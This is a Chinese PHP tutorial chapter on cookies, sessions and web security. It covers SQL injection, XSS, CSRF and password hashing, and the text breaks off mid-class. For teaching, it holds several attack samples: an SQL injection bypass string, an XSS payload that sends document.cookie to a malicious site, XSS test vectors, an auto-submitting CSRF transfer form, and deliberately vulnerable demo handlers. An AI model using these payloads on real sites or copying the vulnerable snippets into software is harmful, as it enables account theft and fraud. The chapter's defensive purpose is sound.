《零基础学 PHP:从入门到实战》模块十:从应用到精通——掌握PHP进阶科技与现代化开发实战-3

第3章:会话控制与Web安全基础

章节介绍

学习目标

通过本章的学习,你将能够:

  1. 理解Cookie和Session在Web开发中的作用与原理
  2. 掌握使用PHP实现用户登录状态维持的技术
  3. 识别常见的Web安全威胁并掌握基础防护方法
  4. 实现一个安全的用户认证系统,包含密码加密、会话管理和安全过滤

在整个教程中的作用

本章是构建完整Web应用的关键环节。前两章分别讲解了如何用面向对象的方式组织代码结构,以及如何安全高效地与数据库交互。本章将学习如何在这些基础上,实现用户状态管理保障应用安全。这是从"功能实现"到"生产可用"的重要跨越,任何面向用户的Web应用都离不开会话控制和安全防护。

与前面章节的衔接

  • 基于第1章的User类,本章将为其实添加登录状态管理功能
  • 使用第2章的PDO数据库操作,确保用户认证过程中的数据安全
  • 为第5章的综合实战项目打下安全基础

本章主要内容概览

  1. Cookie和Session的基础原理与使用
  2. 实现完整的用户登录、状态维持和退出功能
  3. 深入探讨三种常见Web安全威胁及其防护
  4. 密码安全存储的最佳实践
  5. 综合实战:构建带安全防护的用户管理系统

核心概念讲解

1. Cookie:客户端的存储机制

概念与原理

Cookie是服务器发送到用户浏览器并保存在本地的一小块数据。当浏览器再次向同一服务器发起请求时,会自动携带Cookie数据。
工作原理:

1. 客户端首次访问 → 2. 服务器响应并设置Cookie → 3. 客户端保存Cookie
4. 客户端再次访问 → 5. 浏览器自动携带Cookie → 6. 服务器读取Cookie
应用场景
  • 用户偏好设置(如语言、主题)
  • 购物车商品暂存
  • 简单的登录状态保持(需结合安全考虑)
  • 用户行为追踪(需注意隐私政策)
注意事项
  1. 大小限制:每个Cookie一般不超过4KB
  2. 数量限制:每个域名下的Cookie数量有限制(通常20-50个)
  3. 安全性:敏感信息不应存储在Cookie中
  4. 生命周期:可设置过期时间,不设置则关闭浏览器即失效

2. Session:服务器端的会话管理

概念与原理

Session将会话数据存储在服务器端,客户端只保存一个Session ID(通常通过Cookie传递)。相比Cookie,Session更安全,适合存储敏感信息。
工作原理:

1. 客户端访问 → 2. 服务器创建Session → 3. 返回Session ID给客户端
4. 客户端后续请求携带Session ID → 5. 服务器根据ID找到对应Session数据
Session配置

PHP中可通过php.iniini_set()配置Session:

  • session.gc_maxlifetime:Session过期时间(秒)
  • session.cookie_secure:仅通过HTTPS传输Session ID
  • session.cookie_httponly:防止JavaScript访问Session Cookie
最佳实践
  1. 及时销毁不再需要的Session数据
  2. 使用HTTPS传输Session ID
  3. 定期更换Session ID(会话固定攻击防护)
  4. 验证Session来源(检查IP、User-Agent等)

3. Web安全基础:三大常见威胁

SQL注入(复习与深化)

虽然第2章已通过PDO预处理语句防护,但理解攻击原理仍很重要。
攻击原理:攻击者通过构造特殊输入,改变SQL语句的原始意图。

-- 原始语句
SELECT * FROM users WHERE username = '$input' AND password = '$pass'
-- 攻击输入:admin' OR '1'='1
-- 最终语句
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = '$pass'
-- '1'='1'永远为真,可能绕过认证
跨站脚本攻击(XSS)

XSS攻击通过在网页中注入恶意脚本,在用户浏览器中执行。
三种类型

  1. 反射型XSS:恶意脚本来自当前HTTP请求
  2. 存储型XSS:恶意脚本存储到服务器,影响所有访问用户
  3. DOM型XSS:通过修改DOM环境在客户端执行
跨站请求伪造(CSRF)

攻击者诱使用户在已登录的状态下访问恶意页面,该页面自动向目标网站发起请求,利用用户的登录凭证执行非授权操作。
攻击场景

  1. 用户登录了银行网站A
  2. 用户访问了恶意网站B
  3. 网站B中的代码自动向网站A发起转账请求
  4. 浏览器自动携带用户的Cookie,请求被成功执行

代码示例

示例1:Cookie的基本使用

<?php
// 示例1:设置和读取Cookie
// 设置一个Cookie,有效期为1小时
setcookie('user_language', 'zh-CN', time() + 3600, '/', 'example.com', true, true);
// 参数说明:名称,值,过期时间,路径,域名,仅HTTPS,仅HTTP访问
// 设置多个Cookie值(数组形式)
setcookie('user_preferences[theme]', 'dark', time() + 86400);
setcookie('user_preferences[font_size]', 'medium', time() + 86400);
// 读取Cookie
if (isset($_COOKIE['user_language'])) {
$language = $_COOKIE['user_language'];
echo "用户设置的语言:$language<br>";
  }
  // 读取数组形式的Cookie
  if (isset($_COOKIE['user_preferences'])) {
  $prefs = $_COOKIE['user_preferences'];
  echo "主题:{$prefs['theme']},字体大小:{$prefs['font_size']}<br>";
    }
    // 删除Cookie(设置过期时间为过去的时间)
    setcookie('user_language', '', time() - 3600, '/', 'example.com', true, true);
    // 安全提示:验证Cookie数据
    $cookieValue = isset($_COOKIE['user_data']) ? $_COOKIE['user_data'] : '';
    if (!preg_match('/^[a-zA-Z0-9]+$/', $cookieValue)) {
    // 如果Cookie包含非法字符,可能是篡改攻击
    setcookie('user_data', '', time() - 3600);
    echo "检测到异常的Cookie数据,已清除<br>";
      }
      ?>
      <!-- 实际应用:记住登录状态 -->
        <?php
        // 模拟用户登录
        function rememberLogin($username, $days = 30) {
        // 生成安全的记住我令牌
        $token = bin2hex(random_bytes(32));
        $hashedToken = password_hash($token, PASSWORD_DEFAULT);
        // 存储哈希到数据库(实际开发中需要)
        // storeTokenInDatabase($username, $hashedToken);
        // 设置Cookie - 用户名和令牌分开存储更安全
        setcookie('remember_user', $username, time() + (86400 * $days), '/', '', true, true);
        setcookie('remember_token', $token, time() + (86400 * $days), '/', '', true, true);
        return $token;
        }
        // 验证记住我令牌
        function validateRememberToken($username, $token) {
        // 从数据库获取哈希值
        // $storedHash = getTokenFromDatabase($username);
        // 模拟验证
        $storedHash = password_hash('模拟的令牌', PASSWORD_DEFAULT);
        if (password_verify($token, $storedHash)) {
        // 令牌有效,重新生成令牌防止重用
        $newToken = bin2hex(random_bytes(32));
        // updateTokenInDatabase($username, password_hash($newToken, PASSWORD_DEFAULT));
        setcookie('remember_token', $newToken, time() + (86400 * 30), '/', '', true, true);
        return true;
        }
        return false;
        }
        ?>

示例2:Session的完整使用流程

<?php
// 示例2:Session的基本操作
// 1. 启动Session(必须在任何输出之前)
session_start();
// 检查Session是否是新创建的
if (session_status() === PHP_SESSION_NONE) {
die('Session启动失败');
}
// 2. 设置Session配置(也可以在php.ini中配置)
ini_set('session.cookie_secure', 1);      // 仅通过HTTPS传输
ini_set('session.cookie_httponly', 1);    // 防止JavaScript访问
ini_set('session.cookie_samesite', 'Strict'); // 防止CSRF
ini_set('session.use_strict_mode', 1);    // 只接受服务器生成的Session ID
ini_set('session.gc_maxlifetime', 1800);  // 30分钟过期
// 3. 存储数据到Session
$_SESSION['user_id'] = 123;
$_SESSION['username'] = '张三';
$_SESSION['login_time'] = time();
$_SESSION['user_data'] = [
'email' => 'zhangsan@example.com',
'role' => 'admin',
'last_login' => date('Y-m-d H:i:s')
];
// 4. 读取Session数据
echo "当前Session ID: " . session_id() . "<br>";
  echo "用户ID: " . ($_SESSION['user_id'] ?? '未设置') . "<br>";
    echo "用户名: " . ($_SESSION['username'] ?? '未设置') . "<br>";
      // 5. 检查Session是否过期
      if (isset($_SESSION['login_time'])) {
      $sessionAge = time() - $_SESSION['login_time'];
      if ($sessionAge > 1800) { // 超过30分钟
      echo "Session已过期,需要重新登录<br>";
        session_destroy();
        } else {
        echo "Session活跃时间: {$sessionAge}秒<br>";
          }
          }
          // 6. 更新Session ID(防止会话固定攻击)
          function regenerateSession() {
          // 保存旧Session数据
          $oldSessionData = $_SESSION;
          // 销毁旧Session
          session_destroy();
          // 重新生成Session ID
          session_start();
          session_regenerate_id(true);
          // 恢复数据
          $_SESSION = $oldSessionData;
          $_SESSION['last_regenerated'] = time();
          return session_id();
          }
          // 重要操作前更新Session ID
          if (!isset($_SESSION['last_regenerated']) || (time() - $_SESSION['last_regenerated']) > 300) {
          $newSessionId = regenerateSession();
          echo "Session ID已更新: $newSessionId<br>";
            }
            // 7. 安全地销毁Session
            function safeLogout() {
            // 清除所有Session变量
            $_SESSION = [];
            // 删除Session Cookie
            if (ini_get("session.use_cookies")) {
            $params = session_get_cookie_params();
            setcookie(
            session_name(),
            '',
            time() - 42000,
            $params["path"],
            $params["domain"],
            $params["secure"],
            $params["httponly"]
            );
            }
            // 最后销毁Session
            session_destroy();
            // 重定向到登录页
            header('Location: login.php');
            exit;
            }
            // 8. Session数据序列化示例(了解原理)
            echo "Session原始数据格式示例:<br>";
              $sampleData = ['key' => 'value', 'number' => 42];
              $serialized = serialize($sampleData);
              echo "序列化: $serialized<br>";
                $unserialized = unserialize($serialized);
                echo "反序列化后: ";
                print_r($unserialized);
                echo "<br>";
                  // 注意:不要反序列化不可信的数据,有安全风险
                  ?>
                  <!-- 实际应用:用户登录状态管理 -->
                    <?php
                    class SessionManager {
                    private const SESSION_TIMEOUT = 1800; // 30分钟
                    public static function startSecureSession() {
                    // 防止Session fixation攻击
                    if (session_status() === PHP_SESSION_NONE) {
                    session_start();
                    }
                    // 如果是新Session,标记为新的
                    if (!isset($_SESSION['created'])) {
                    $_SESSION['created'] = time();
                    }
                    // 检查Session是否过期
                    self::checkTimeout();
                    // 定期更新Session ID
                    self::regenerateIfNeeded();
                    }
                    private static function checkTimeout() {
                    if (isset($_SESSION['last_activity']) &&
                    (time() - $_SESSION['last_activity']) > self::SESSION_TIMEOUT) {
                    // Session过期,销毁并重新开始
                    session_unset();
                    session_destroy();
                    session_start();
                    $_SESSION['expired'] = true;
                    }
                    // 更新最后活动时间
                    $_SESSION['last_activity'] = time();
                    }
                    private static function regenerateIfNeeded() {
                    $regenerateInterval = 300; // 每5分钟更新一次Session ID
                    if (!isset($_SESSION['last_regenerated'])) {
                    $_SESSION['last_regenerated'] = time();
                    } elseif ((time() - $_SESSION['last_regenerated']) > $regenerateInterval) {
                    session_regenerate_id(true);
                    $_SESSION['last_regenerated'] = time();
                    }
                    }
                    public static function setUserData($userId, $userData) {
                    $_SESSION['user_id'] = $userId;
                    $_SESSION['user_data'] = $userData;
                    $_SESSION['ip_address'] = $_SERVER['REMOTE_ADDR'];
                    $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
                    $_SESSION['last_activity'] = time();
                    }
                    public static function validateSession() {
                    // 验证Session是否被劫持
                    if (!isset($_SESSION['ip_address'], $_SESSION['user_agent'])) {
                    return false;
                    }
                    if ($_SESSION['ip_address'] !== $_SERVER['REMOTE_ADDR']) {
                    // IP地址变化,可能是攻击
                    return false;
                    }
                    if ($_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT']) {
                    // User-Agent变化,可能是攻击
                    return false;
                    }
                    return true;
                    }
                    }
                    // 使用示例
                    SessionManager::startSecureSession();
                    if (SessionManager::validateSession()) {
                    echo "Session验证通过<br>";
                      } else {
                      echo "Session验证失败,可能存在安全风险<br>";
                        safeLogout();
                        }
                        ?>

示例3:XSS攻击与防护

<?php
// 示例3:XSS攻击演示与防护
// ==================== 攻击场景演示 ====================
// 场景1:反射型XSS(非持久化)
if (isset($_GET['search'])) {
$searchTerm = $_GET['search'];
echo "<h2>反射型XSS漏洞示例(危险代码):</h2>";
echo "搜索结果: " . $searchTerm . "<br>";
// 攻击者可以输入: <script>alert('XSS攻击')</script>
// 或更危险的: <script>document.location='http://恶意网站/?cookie='+document.cookie</script>
  }
  // 场景2:存储型XSS(持久化)
  // 假设这是从数据库读取的用户评论
  $dangerousComments = [
  '这个产品真好!',
'<script>alert("我是恶意脚本")</script>',
  '<img src="x" onerror="alert(\'XSS\')">',
  '<a href="javascript:alert(\'XSS\')">点击我</a>'
    ];
  echo "<h2>存储型XSS漏洞示例:</h2>";
    foreach ($dangerousComments as $comment) {
  echo "<div class='comment'>$comment</div><br>";
    }
    // ==================== 防护方案 ====================
  echo "<h2>XSS防护方案:</h2>";
    // 方案1:htmlspecialchars() - 转义HTML特殊字符
    function safeOutput($input) {
    // 转换所有特殊字符为HTML实体
    return htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8', false);
    }
    // 方案2:strip_tags() - 移除HTML标签(不够安全,可能被绕过)
    function stripTags($input, $allowedTags = '') {
    return strip_tags($input, $allowedTags);
    }
    // 方案3:使用HTML净化库(推荐)
    // 实际项目中可以使用:HTML Purifier, Symfony HTML Sanitizer等
    // 方案4:内容安全策略(CSP) - HTTP头防护
    function setCSPHeaders() {
    header("Content-Security-Policy: default-src 'self'; script-src 'self' https:// trusted.cdn.com; style-src 'self' 'unsafe-inline';");
    // 禁止内联脚本执行,只允许指定来源的脚本
    }
    // 实际应用示例
  echo "<h3>安全输出示例:</h3>";
  $userInput = '<script>alert("攻击")</script><b>正常文本</b>';
    echo "原始输入: " . $userInput . "<br>";
      echo "htmlspecialchars处理后: " . safeOutput($userInput) . "<br>";
        echo "strip_tags处理后: " . stripTags($userInput) . "<br>";
          // 针对不同上下文的处理
          function sanitizeForContext($input, $context) {
          switch ($context) {
          case 'html':
          return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
          case 'attribute':
          // 移除可能破坏属性的字符
          return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
          case 'url':
          // 验证URL
          if (filter_var($input, FILTER_VALIDATE_URL)) {
          return $input;
          }
          return '';
          case 'css':
          // 移除危险CSS
          return preg_replace('/[<>]/', '', $input);
          case 'javascript':
          // JSON编码
          return json_encode($input);
          default:
          return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
          }
          }
          // 实战:评论系统防护
          class CommentSystem {
          private $db;
          public function __construct($db) {
          $this->db = $db;
          }
          public function addComment($userId, $content) {
          // 1. 验证用户输入
          if (empty($content) || strlen($content) > 1000) {
          throw new Exception('评论内容无效或过长');
          }
          // 2. 清理内容
          $cleanContent = $this->sanitizeComment($content);
          // 3. 存储到数据库(使用预处理语句)
          $stmt = $this->db->prepare("INSERT INTO comments (user_id, content, created_at) VALUES (?, ?, NOW())");
          $stmt->execute([$userId, $cleanContent]);
          return $this->db->lastInsertId();
          }
          public function getComments($postId) {
          $stmt = $this->db->prepare("SELECT * FROM comments WHERE post_id = ? ORDER BY created_at DESC");
          $stmt->execute([$postId]);
          $comments = $stmt->fetchAll(PDO::FETCH_ASSOC);
          // 安全输出
          foreach ($comments as &$comment) {
          $comment['content'] = $this->safeDisplay($comment['content']);
          }
          return $comments;
          }
          private function sanitizeComment($content) {
          // 移除危险标签,只保留安全标签
          $allowedTags = '<p><br><b><i><u><strong><em><a><code><pre>';
            $content = strip_tags($content, $allowedTags);
            // 转义特殊字符
            $content = htmlspecialchars($content, ENT_QUOTES, 'UTF-8');
            // 移除多余的空白
            $content = trim($content);
            return $content;
            }
            private function safeDisplay($content) {
            // 双重防护:虽然数据库已存储清理后的内容,输出时再次转义
            return htmlspecialchars($content, ENT_QUOTES, 'UTF-8', false);
            }
            }
            // XSS测试工具函数
            function testXSSVectors() {
            $testVectors = [
          '<script>alert(1)</script>',
            '<img src=x onerror=alert(1)>',
              '<svg onload=alert(1)>',
                '<body onload=alert(1)>',
                  '<iframe src="javascript:alert(1)">',
                  '<a href="javascript:alert(1)">click</a>',
                  '<form><button formaction="javascript:alert(1)">X</button></form>',
                  '"><script>alert(1)</script>',
                  "'><script>alert(1)</script>",
                  '`><script>alert(1)</script>',
                    ];
                    foreach ($testVectors as $vector) {
                    $safe = safeOutput($vector);
                    echo "测试向量: " . htmlspecialchars($vector) . "<br>";
                      echo "防护后: $safe<br>";
                        echo "是否安全: " . (strpos($safe, '<script>') === false ? '是' : '否') . "<br><br>";
                          }
                          }
                        echo "<h3>XSS攻击向量测试:</h3>";
                          testXSSVectors();
                          ?>

示例4:CSRF攻击与防护

<?php
// 示例4:CSRF攻击演示与防护
// ==================== 攻击场景演示 ====================
echo "<h2>CSRF攻击示例:</h2>";
// 假设这是银行转账页面(存在CSRF漏洞)
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['transfer'])) {
session_start();
// 验证用户是否登录(但不验证请求来源)
if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
die('请先登录');
}
// 执行转账操作
$amount = $_POST['amount'];
$toAccount = $_POST['to_account'];
echo "<div style='background-color: #ffcccc; padding: 10px;'>";
  echo "⚠️ 危险!未受保护的转账操作执行成功<br>";
    echo "转账金额: $amount 到账户: $toAccount<br>";
      echo "这个操作可以被CSRF攻击利用!";
    echo "</div>";
    }
    // ==================== 防护方案 ====================
  echo "<h2>CSRF防护方案:</h2>";
    // 方案1:CSRF令牌(最常用)
    class CSRFToken {
    private static $tokenName = 'csrf_token';
    public static function generate() {
    if (empty($_SESSION[self::$tokenName])) {
    $_SESSION[self::$tokenName] = bin2hex(random_bytes(32));
    }
    return $_SESSION[self::$tokenName];
    }
    public static function validate($token) {
    if (empty($_SESSION[self::$tokenName]) || empty($token)) {
    return false;
    }
    return hash_equals($_SESSION[self::$tokenName], $token);
    }
    public static function getField() {
    $token = self::generate();
    return "<input type='hidden' name='" . self::$tokenName . "' value='$token'>";
      }
      public static function verifyRequest() {
      if ($_SERVER['REQUEST_METHOD'] === 'POST') {
      $token = $_POST[self::$tokenName] ?? '';
      if (!self::validate($token)) {
      throw new Exception('CSRF令牌验证失败');
      }
      }
      }
      }
      // 方案2:双重提交Cookie
      class DoubleSubmitCookie {
      public static function setCookie() {
      $token = bin2hex(random_bytes(16));
      setcookie('csrf_cookie', $token, time() + 3600, '/', '', true, true);
      return $token;
      }
      public static function validate() {
      $cookieToken = $_COOKIE['csrf_cookie'] ?? '';
      $formToken = $_POST['csrf_token'] ?? '';
      return !empty($cookieToken) && !empty($formToken) &&
      hash_equals($cookieToken, $formToken);
      }
      }
      // 方案3:同源检测
      function checkOrigin() {
      $allowedOrigins = ['https:// example.com', 'https://www.example.com'];
      $origin = $_SERVER['HTTP_ORIGIN'] ?? $_SERVER['HTTP_REFERER'] ?? '';
      foreach ($allowedOrigins as $allowed) {
      if (strpos($origin, $allowed) === 0) {
      return true;
      }
      }
      return false;
      }
      // 方案4:自定义请求头(AJAX请求)
      function checkCustomHeader() {
      return isset($_SERVER['HTTP_X_REQUESTED_WITH']) &&
      $_SERVER['HTTP_X_REQUESTED_WITH'] === 'XMLHttpRequest';
      }
      // 实际应用:安全的表单处理
      class SecureForm {
      private $tokenName;
      public function __construct($tokenName = 'csrf_token') {
      $this->tokenName = $tokenName;
      session_start();
      }
      public function createForm($action, $method = 'POST') {
      $token = CSRFToken::generate();
      $form = "<form action='$action' method='$method'>";
        $form .= CSRFToken::getField();
        $form .= "<!-- 其他表单字段 -->";
          $form .= "<input type='submit' value='提交'>";
          $form .= "</form>";
          return $form;
          }
          public function processForm() {
          try {
          CSRFToken::verifyRequest();
          // 处理表单数据
          $data = $this->sanitizeInput($_POST);
          // 业务逻辑...
          return $data;
          } catch (Exception $e) {
          error_log('CSRF攻击尝试: ' . $e->getMessage());
          return false;
          }
          }
          private function sanitizeInput($data) {
          $clean = [];
          foreach ($data as $key => $value) {
          if ($key !== $this->tokenName) {
          $clean[$key] = is_array($value) ?
          array_map('htmlspecialchars', $value) :
          htmlspecialchars($value, ENT_QUOTES, 'UTF-8');
          }
          }
          return $clean;
          }
          }
          // 使用示例
        echo "<h3>安全表单示例:</h3>";
          $secureForm = new SecureForm();
          echo $secureForm->createForm('process.php');
          // 模拟攻击页面(恶意网站)
        echo "<h3>CSRF攻击页面模拟:</h3>";
          echo <<<HTML
          <div style="border: 2px solid red; padding: 10px; margin: 10px;">
          <h4>恶意网站上的攻击代码:</h4>
            <pre>
              &lt;form action="http:// victim.com/transfer.php" method="POST" id="maliciousForm"&gt;
              &lt;input type="hidden" name="amount" value="10000"&gt;
              &lt;input type="hidden" name="to_account" value="attacker_account"&gt;
              &lt;/form&gt;
              &lt;script&gt;
              // 自动提交表单
              document.getElementById('maliciousForm').submit();
              &lt;/script&gt;
            </pre>
          <p>如果用户已经登录受害网站,这个表单会自动提交转账请求</p>
        </div>
        HTML;
        // 防御后的安全页面
      echo "<h3>防护后的安全转账页面:</h3>";
        echo <<<HTML
        <form action="safe_transfer.php" method="POST">
          <input type="hidden" name="csrf_token" value="动态生成的令牌">
          <label>转账金额:<input type="number" name="amount"></label><br>
          <label>目标账户:<input type="text" name="to_account"></label><br>
            <input type="submit" value="确认转账">
            </form>
          <p>攻击者无法获取动态生成的CSRF令牌,因此攻击失败</p>
          HTML;
          // 完整的CSRF防护中间件
          class CSRFTokenManager {
          private $sessionKey = 'csrf_tokens';
          public function __construct() {
          if (session_status() === PHP_SESSION_NONE) {
          session_start();
          }
          // 初始化令牌数组
          if (!isset($_SESSION[$this->sessionKey])) {
          $_SESSION[$this->sessionKey] = [];
          }
          }
          public function generateToken($formId = 'default') {
          $token = bin2hex(random_bytes(32));
          $hashedToken = hash('sha256', $token);
          // 存储哈希值,限制令牌数量
          $_SESSION[$this->sessionKey][$formId] = [
          'hash' => $hashedToken,
          'created' => time(),
          'expires' => time() + 3600 // 1小时过期
          ];
          // 清理过期令牌
          $this->cleanupExpiredTokens();
          return $token;
          }
          public function validateToken($token, $formId = 'default') {
          if (empty($token)) {
          return false;
          }
          if (!isset($_SESSION[$this->sessionKey][$formId])) {
          return false;
          }
          $stored = $_SESSION[$this->sessionKey][$formId];
          // 检查是否过期
          if (time() > $stored['expires']) {
          unset($_SESSION[$this->sessionKey][$formId]);
          return false;
          }
          // 安全地比较哈希值
          $isValid = hash_equals($stored['hash'], hash('sha256', $token));
          // 使用后销毁(一次性令牌)
          if ($isValid) {
          unset($_SESSION[$this->sessionKey][$formId]);
          }
          return $isValid;
          }
          private function cleanupExpiredTokens() {
          foreach ($_SESSION[$this->sessionKey] as $formId => $data) {
          if (time() > $data['expires']) {
          unset($_SESSION[$this->sessionKey][$formId]);
          }
          }
          }
          public function getTokenField($formId = 'default') {
          $token = $this->generateToken($formId);
          return "<input type='hidden' name='csrf_token' value='$token'>";
            }
            }
            // 使用一次性令牌的示例
          echo "<h3>一次性CSRF令牌示例:</h3>";
            $csrfManager = new CSRFTokenManager();
            // 生成表单
            $formToken = $csrfManager->generateToken('transfer_form');
            echo "<form method='POST'>";
              echo "<input type='hidden' name='csrf_token' value='$formToken'>";
                echo "<input type='submit' value='安全提交'>";
                echo "</form>";
                // 验证逻辑
                if ($_SERVER['REQUEST_METHOD'] === 'POST') {
                $submittedToken = $_POST['csrf_token'] ?? '';
                if ($csrfManager->validateToken($submittedToken, 'transfer_form')) {
              echo "<p style='color: green;'>✅ CSRF令牌验证成功</p>";
                } else {
              echo "<p style='color: red;'>❌ CSRF令牌验证失败或已使用</p>";
                }
                }
                ?>

示例5:密码安全存储与验证

<?php
// 示例5:密码安全存储与验证
echo "<h2>密码安全存储最佳实践:</h2>";
// ==================== 错误的密码处理方式 ====================
echo "<h3 style='color: red;'>❌ 错误的方式:</h3>";
// 错误1:明文存储
$badPassword1 = '123456';
echo "明文存储: $badPassword1<br>";
  // 错误2:简单MD5哈希(无盐值)
  $badPassword2 = md5('123456');
  echo "简单MD5: $badPassword2<br>";
    echo "攻击者可以使用彩虹表轻易破解<br>";
      // 错误3:固定盐值
      $fixedSalt = 'mysalt';
      $badPassword3 = md5('123456' . $fixedSalt);
      echo "固定盐值MD5: $badPassword3<br>";
        echo "盐值固定,一旦泄露所有用户受影响<br>";
          // ==================== 正确的密码处理方式 ====================
        echo "<h3 style='color: green;'>✅ 正确的方式:</h3>";
          class PasswordSecurity {
          // 使用PHP内置的password_hash函数
          public static function hashPassword($password) {
          // PASSWORD_DEFAULT 使用当前最佳的算法(目前是bcrypt)
          // 会自动生成随机盐值
          return password_hash($password, PASSWORD_DEFAULT);
          }
          public static function verifyPassword($password, $hash) {
          return password_verify($password, $hash);
          }
          public static function needsRehash($hash) {
          // 检查密码是否需要重新哈希(算法更新时)
          return password_needs_rehash($hash, PASSWORD_DEFAULT);
          }
          // 生成强密码
          public static function generateStrongPassword($length = 12) {
          $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=[]{}|;:,.<>?';
          $password = '';
          for ($i = 0; $i < $length; $i++) {
          $password .= $chars[random_int(0, strlen($chars) - 1)];
          }
          return $password;
          }
          // 密码强度检查
          public static function checkPasswordStrength($password) {
          $strength = 0;
          $messages = [];
          // 长度检查
          if (strlen($password) >= 8) {
          $strength += 20;
          } else {
          $messages[] = '密码至少需要8个字符';
          }
          // 大写字母检查
          if (preg_match('/[A-Z]/', $password)) {
          $strength += 20;
          } else {
          $messages[] = '需要包含大写字母';
          }
          // 小写字母检查
          if (preg_match('/[a-z]/', $password)) {
          $strength += 20;
          } else {
          $messages[] = '需要包含小写字母';
          }
          // 数字检查
          if (preg_match('/[0-9]/', $password)) {
          $strength += 20;
          } else {
          $messages[] = '需要包含数字';
          }
          // 特殊字符检查
          if (preg_match('/[^A-Za-z0-9]/', $password)) {
          $strength += 20;
          } else {
          $messages[] = '需要包含特殊字符';
          }
          // 常见弱密码检查
          $weakPasswords = ['123456', 'password', '12345678', 'qwerty', 'abc123'];
          if (in_array($password, $weakPasswords)) {
          $strength = 0;
          $messages[] = '密码过于常见,请更换';
          }
          return [
          'strength' => $strength,
          'messages' => $messages,
          'level' => $strength >= 80 ? '强' : ($strength >= 60 ? '中' : '弱')
          ];
          }
          }
          // 实际使用示例
        echo "<h4>密码哈希演示:</h4>";
          $testPassword = 'MySecurePass123!';
          // 哈希密码
          $hashedPassword = PasswordSecurity::hashPassword($testPassword);
          echo "原始密码: $testPassword<br>";
            echo "哈希后: $hashedPassword<br>";
              echo "哈希长度: " . strlen($hashedPassword) . " 字符<br>";
                // 验证密码
                $isValid = PasswordSecurity::verifyPassword($testPassword, $hashedPassword);
                echo "密码验证: " . ($isValid ? '✅ 成功' : '❌ 失败') . "<br>";
                  // 错误的密码验证
                  $wrongPassword = 'WrongPass';
                  $isValid = PasswordSecurity::verifyPassword($wrongPassword, $hashedPassword);
                  echo "错误密码验证: " . ($isValid ? '✅ 成功' : '❌ 失败') . "<br>";
                    // 密码强度检查
                  echo "<h4>密码强度检查:</h4>";
                    $weakPasswords = ['123', 'password', 'Pass123', 'StrongPass123!'];
                    foreach ($weakPasswords as $pwd) {
                    $result = PasswordSecurity::checkPasswordStrength($pwd);
                    echo "密码: $pwd<br>";
                      echo "强度: {$result['strength']}% ({$result['level']})<br>";
                        if (!empty($result['messages'])) {
                        echo "建议: " . implode(', ', $result['messages']) . "<br>";
                          }
                          echo "<br>";
                            }
                            // 生成强密码
                          echo "<h4>生成强密码:</h4>";
                            for ($i = 0; $i < 3; $i++) {
                            $strongPassword = PasswordSecurity::generateStrongPassword();
                            echo "建议密码 $i: $strongPassword<br>";
                              }
                              // 完整的用户认证类
                              class SecureAuth {
                              private $db;
                              private $maxAttempts = 5;
                              private $lockoutTime = 900; // 15分钟
                              public function __construct(PDO $db) {
                              $this->db = $db;
                              }
                              public function register($username, $email, $password) {
                              // 验证输入
                              if (!$this->validateInput($username, $email, $password)) {
                              throw new Exception('输入验证失败');
                              }
                              // 检查用户是否已存在
                              if ($this->userExists($username, $email)) {
                              throw new Exception('用户名或邮箱已存在');
                              }
                              // 哈希密码
                              $hashedPassword = password_hash($password, PASSWORD_DEFAULT);
                              // 生成验证token(用于邮箱验证)
                              $verificationToken = bin2hex(random_bytes(32));
                              // 存储到数据库
                              $stmt = $this->db->prepare("
                              INSERT INTO users (username, email, password_hash, verification_token, created_at)
                              VALUES (?, ?, ?, ?, NOW())
                              ");
                              return $stmt->execute([$username, $email, $hashedPassword, $verificationToken]);
                              }
                              public function login($username, $password) {
                              // 检查登录尝试次数
                              if ($this->isLockedOut($username)) {
                              throw new Exception('账户已被锁定,请15分钟后再试');
                              }
                              // 获取用户信息
                              $user = $this->getUserByUsername($username);
                              if (!$user) {
                              $this->recordFailedAttempt($username);
                              throw new Exception('用户名或密码错误');
                              }
                              // 验证密码
                              if (!password_verify($password, $user['password_hash'])) {
                              $this->recordFailedAttempt($username);
                              throw new Exception('用户名或密码错误');
                              }
                              // 检查是否需要重新哈希
                              if (password_needs_rehash($user['password_hash'], PASSWORD_DEFAULT)) {
                              $this->upgradePassword($user['id'], $password);
                              }
                              // 重置失败计数
                              $this->resetFailedAttempts($username);
                              // 生成会话令牌
                              $sessionToken = $this->generateSessionToken($user['id']);
                              return [
                              'user_id' => $user['id'],
                              'username' => $user['username'],
                              'session_token' => $sessionToken,
                              'requires_2fa' => $user['two_factor_enabled']
                              ];
                              }
                              public function changePassword($userId, $oldPassword, $newPassword) {
                              // 获取当前密码哈希
                              $stmt = $this->db->prepare("SELECT password_hash FROM users WHERE id = ?");
                              $stmt->execute([$userId]);
                              $user = $stmt->fetch();
                              if (!$user || !password_verify($oldPassword, $user['password_hash'])) {
                              throw new Exception('原密码错误');
                              }
                              // 验证新密码强度
                              $strength = PasswordSecurity::checkPasswordStrength($newPassword);
                              if ($strength['strength'] < 60) {
                              throw new Exception('新密码强度不足: ' . implode(', ', $strength['messages']));
                              }
                              // 更新密码
                              $newHash = password_hash($newPassword, PASSWORD_DEFAULT);
                              $stmt = $this->db->prepare("UPDATE users SET password_hash = ?, password_changed_at = NOW() WHERE id = ?");
                              return $stmt->execute([$newHash, $userId]);
                              }
                              private function validateInput($username, $email, $password) {
                              // 用户名验证(只允许字母数字和下划线)
                              if (!preg_match('/^[a-zA-Z0-9_]{3,20}$/', $username)) {
                              return false;
                              }
                              // 邮箱验证
                              if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
                              return false;
                              }
                              // 密码强度
                              $strength = PasswordSecurity::checkPasswordStrength($password);
                              return $strength['strength'] >= 60;
                              }
                              private function userExists($username, $email) {
                              $stmt = $this->db->prepare("SELECT id FROM users WHERE username = ? OR email = ?");
                              $stmt->execute([$username, $email]);
                              return $stmt->fetch() !== false;
                              }
                              private function getUserByUsername($username) {
